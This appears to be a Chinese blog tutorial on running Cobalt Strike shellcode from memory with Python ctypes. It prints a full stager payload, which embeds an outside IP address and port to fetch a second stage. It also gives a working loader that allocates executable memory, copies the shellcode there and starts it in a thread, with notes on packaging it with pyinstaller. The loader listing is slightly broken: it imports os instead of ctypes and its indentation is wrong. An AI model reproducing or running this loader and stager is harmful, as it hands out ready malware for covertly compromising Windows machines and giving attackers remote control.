python内存加载payload学习

Payload准备

以cs的payload 为例

payload = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x6c\x66\x46\x44\x00\xe0\x7d\x14\x90\x4b\x12\x18\x2a\x11\xc1\xe0\xef\xd4\xf2\x78\x20\x82\xae\xa1\x43\x03\x62\x77\xa1\x04\xad\xc7\x55\xf4\xf4\x9a\x50\x14\x20\x83\xa9\x9c\xcd\x6e\x08\x17\x8e\xa6\x65\x3c\xde\x8f\x44\x39\x03\x4b\xe3\xf2\xec\x81\xc3\xd7\x43\x0b\x83\xa5\x19\x6d\xfc\x31\xdb\xc8\x88\xdf\xc6\xc5\xfb\xf4\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x45\x29\x0d\x0a\x00\x07\xa6\x52\x4c\xdf\x1e\x08\x26\xa7\x47\xac\xea\x9c\x25\x17\xa5\xa3\x05\xd5\xf2\x84\x9e\x61\xa5\x87\x46\x82\xe7\x66\x58\x95\x9f\x3f\x83\x67\xe1\xf0\x27\x6f\x9e\x56\xdc\xbe\x5f\x83\xb1\x54\xc6\xfa\xf6\x2c\xe6\x30\x0f\x1f\x9f\x18\x72\x89\x1f\xf1\x7c\x24\x79\x50\x8b\x3b\x3b\x84\x53\xb4\x24\x3b\x2e\xda\xfe\xc8\xc8\x67\x21\x14\x46\x41\xcc\x61\x13\xdf\x9c\x17\x0a\xe9\x88\x92\xb7\xde\xd1\x80\xdc\x73\xf2\x36\x44\x11\x13\x9b\x15\xa1\xef\xd1\xf5\xc7\x45\xdb\x90\x39\x88\x74\x26\x13\x8f\x59\x18\xd6\xdb\x33\x03\x9e\xb1\x34\x56\xfa\x91\xbe\xf8\x14\x64\xe2\x8c\xf8\xc4\xe1\xd5\xf6\xde\x15\x59\xb4\xcd\x7e\x4b\xd0\x32\x73\x64\xb7\x43\xc1\x46\xfc\xb9\xc2\xd6\x8b\x79\xf0\x32\x58\x1e\xa3\xc7\x98\x38\xd5\x90\x53\x06\xd0\x0f\xb7\xea\xbe\x66\x5b\xb9\x43\x91\xb8\xfb\x3a\x93\x9d\xb4\xc9\xa0\xc1\x9c\x65\xe9\xab\x5b\xf7\x67\xef\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x39\x35\x2e\x31\x36\x33\x2e\x31\x39\x37\x2e\x32\x33\x33\x00\x6f\xaa\x51\xc3"

使用Windows API进行内存加载

我们直接给出最终结果,并将在下面一行一行地进行分析

loader.py :

import os
payload = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x6c\x66\x46\x44\x00\xe0\x7d\x14\x90\x4b\x12\x18\x2a\x11\xc1\xe0\xef\xd4\xf2\x78\x20\x82\xae\xa1\x43\x03\x62\x77\xa1\x04\xad\xc7\x55\xf4\xf4\x9a\x50\x14\x20\x83\xa9\x9c\xcd\x6e\x08\x17\x8e\xa6\x65\x3c\xde\x8f\x44\x39\x03\x4b\xe3\xf2\xec\x81\xc3\xd7\x43\x0b\x83\xa5\x19\x6d\xfc\x31\xdb\xc8\x88\xdf\xc6\xc5\xfb\xf4\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x4d\x53\x45\x29\x0d\x0a\x00\x07\xa6\x52\x4c\xdf\x1e\x08\x26\xa7\x47\xac\xea\x9c\x25\x17\xa5\xa3\x05\xd5\xf2\x84\x9e\x61\xa5\x87\x46\x82\xe7\x66\x58\x95\x9f\x3f\x83\x67\xe1\xf0\x27\x6f\x9e\x56\xdc\xbe\x5f\x83\xb1\x54\xc6\xfa\xf6\x2c\xe6\x30\x0f\x1f\x9f\x18\x72\x89\x1f\xf1\x7c\x24\x79\x50\x8b\x3b\x3b\x84\x53\xb4\x24\x3b\x2e\xda\xfe\xc8\xc8\x67\x21\x14\x46\x41\xcc\x61\x13\xdf\x9c\x17\x0a\xe9\x88\x92\xb7\xde\xd1\x80\xdc\x73\xf2\x36\x44\x11\x13\x9b\x15\xa1\xef\xd1\xf5\xc7\x45\xdb\x90\x39\x88\x74\x26\x13\x8f\x59\x18\xd6\xdb\x33\x03\x9e\xb1\x34\x56\xfa\x91\xbe\xf8\x14\x64\xe2\x8c\xf8\xc4\xe1\xd5\xf6\xde\x15\x59\xb4\xcd\x7e\x4b\xd0\x32\x73\x64\xb7\x43\xc1\x46\xfc\xb9\xc2\xd6\x8b\x79\xf0\x32\x58\x1e\xa3\xc7\x98\x38\xd5\x90\x53\x06\xd0\x0f\xb7\xea\xbe\x66\x5b\xb9\x43\x91\xb8\xfb\x3a\x93\x9d\xb4\xc9\xa0\xc1\x9c\x65\xe9\xab\x5b\xf7\x67\xef\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x39\x35\x2e\x31\x36\x33\x2e\x31\x39\x37\x2e\x32\x33\x33\x00\x6f\xaa\x51\xc3"
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
     ctypes.c_int(len(payload)),
     ctypes.c_int(0x3000),
     ctypes.c_int(0x40))
 
     buf = (ctypes.c_char * len(payload)).from_buffer(payload)
 
     ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
     buf,
     ctypes.c_int(len(payload)))
 
     ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.c_int(ptr),
     ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.pointer(ctypes.c_int(0)))
 
     ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
     ctypes.c_int(-1))

ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数,在 Windows 系统中导出了 windlloledll 对象用于载入动态连接库, loader.py中载入了kernel32.dll

同时ctypes 定义了一些和C兼容的基本数据类型:

ctypes 类型C 类型Python 数据类型
c_bool_Boolbool (1)
c_charchar单字符字节对象
c_wcharwchar_t单字符字符串
c_bytecharint
c_ubyteunsigned charint
c_shortshortint
c_ushortunsigned shortint
c_intintint
c_uintunsigned intint
c_longlongint
c_ulongunsigned longint
c_longlong__int64long longint
c_ulonglongunsigned __int64unsigned long longint
c_size_tsize_tint
c_ssize_tssize_tPy_ssize_tint
c_floatfloatfloat
c_doubledoublefloat
c_longdoublelong doublefloat
c_char_pchar * (NUL terminated)字节串对象或 None
c_wchar_pwchar_t * (NUL terminated)字符串或 None
c_void_pvoid *int 或 None

申请内存

​ 在进程创建之初并被赋予地址空间时,其虚拟地址空间尚未分配,处于空闲状态。这时地址空间内的内存是不能使用的,必须首先通过VirtualAlloc()函数来分配其内的各个区域,对其进行保留。

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
     ctypes.c_int(len(payload)),
     ctypes.c_int(0x3000),
     ctypes.c_int(0x40))

VirtualAlloc() 的函数原型

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

​ 其参数lpAddress包含一个内存地址,用于定义待分配区域的首地址。通常可将此参数设置为NULL,由系统通过搜索地址空间来决定满足条件的未保留地址空间。

​ 参数dwSize指定了保留区域的大小,即为我们的payload长度

分配类型类型说明
MEM_COMMIT(0x1000)为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
MEM_RESERVE(0x2000)保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用
MEM_RESET(0x80000)指明在内存中由参数lpAddress和dwSize指定的数据无效

我们的第三个参数flAllocationType0x3000,即MEM_COMMIT | MEM_RESERVE(0x3000).

访问类型

访问类型类型说明
PAGE_READONLY 0x02该区域为只读。如果应用程序试图访问区域中的页的时候,将会被拒绝访问。
PAGE_EXECUTE 0x10区域包含可被执行的代码。试图读写该区域的操作将被拒绝。
PAGE_EXECUTE_READ 0x20区域包含可执行代码,应用程序只能读该区域。
PAGE_READWRITE 0x04区域不可执行代码,应用程序可以读写该区域。
PAGE_EXECUTE_READWRITE 0x40区域可以执行代码,应用程序可以读写该区域。
PAGE_GUARD 0x100区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限
PAGE_NOACCESS 0x01任何访问该区域的操作将被拒绝
PAGE_NOCACHE 0x200RAM中的页映射到该区域时将不会被微处理器缓存(cached)

flProtect设置访问保护属性0x40. 即PAGE_EXECUTE_READWRITE(区域可以执行代码,应用程序可以读写该区域)

如果VirtualAlloc函数调用成功,返回分配的首地址,调用失败,返回NULL

将payload读到缓冲区

buf = (ctypes.c_char * len(payload)).from_buffer(payload)

将缓冲区中的payload复制到刚刚申请的内存中

windll.kernel32.RtlMoveMemory(c_int(ptr), buf, c_int(len(payload)))

RtlMoveMemory()的函数原型

VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,
  _In_  const VOID UNALIGNED *Source,
  _In_        SIZE_T         Length
);

Destination :指向移动目的地址的指针

Source :指向要复制的内存地址的指针。

Length :指定要复制的字节数。

创建线程执行payload

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.c_int(ptr),
     ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.pointer(ctypes.c_int(0)))

CreateThread()的函数原型:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

lpThreadAttributes 安全属性,一般设为NULL,使用缺省的安全属性。当我们想此线程有另外的子进程时,可改变它的属性。
dwStackSize 线程堆栈尺寸,一般设为0,表示与此应用的堆栈尺寸相同,即主线程与创建的线程一样长度的堆栈。并且其长度会根据需要自动变长。
lpStartAddress是最重要的一个,是一个指向函数名的指针,或者函数名字
lpParameter是你需要向线程函数传递的参数,一般是一个指向结构的指针。不需传递参数时,则这个参数设为NULL
dwCreationFlags,传入与线程有关的一些标志,如果是CREATE_SUSPENDED,则创建一个挂起的线程,即这个线程本身已创建,它的堆栈也已创建。但这个线程不会被分配给CPU时间,只有当ResumeThread函数被调用后才能执行;当然,也可以调用SuspendThread函数再次挂起线程。要是标志为0,那么一旦建立线程,线程函数就被立即调用。一般传为0即可。

lpThreadId 是系统分配给这个线程的唯一的ID标志

等待线程

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

WaitForSingleObject()函数原型:

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

参数 hHandle 是一个事件的句柄,第二个参数 dwMilliseconds 是时间间隔。

​ WaitForSingleObject 函数用来检测 hHandle 事件的信号状态,当函数的执行时间超过 dwMilliseconds 就返回,但如果参数 dwMillisecondsINFINITE 时函数将直到相应时间事件变成有信号状态才返回,否则就一直等待下去,直到 WaitForSingleObject 有返回直才执行后面的代码。

ht即为我们的

其中INFINITE已经定义为0xFFFFFFFF(或-1

踩坑

python3.7.4 下 pyinstaller 一直报错,提示找不到ctypes, 要求pip install pywin32-ctypes,但ctypes 实际上已经安装了,查了半天资料找到github上的一个issue,发现这个bug还未修复

换成python3.6.8 x64 现在pyinstaller能用了,但是发现报了OSError: exception: access violation writing 0xFFFFFFFFFE12003C 检查一下 发现ptr指针的值居然是负数 内存地址怎么会是负数呢,查资料发现是python3 在64位环境下的c指针问题 Python x64下ctypes动态链接库出现access violation的原因分析

最后换到python 3.6.8 x86 一切都美好了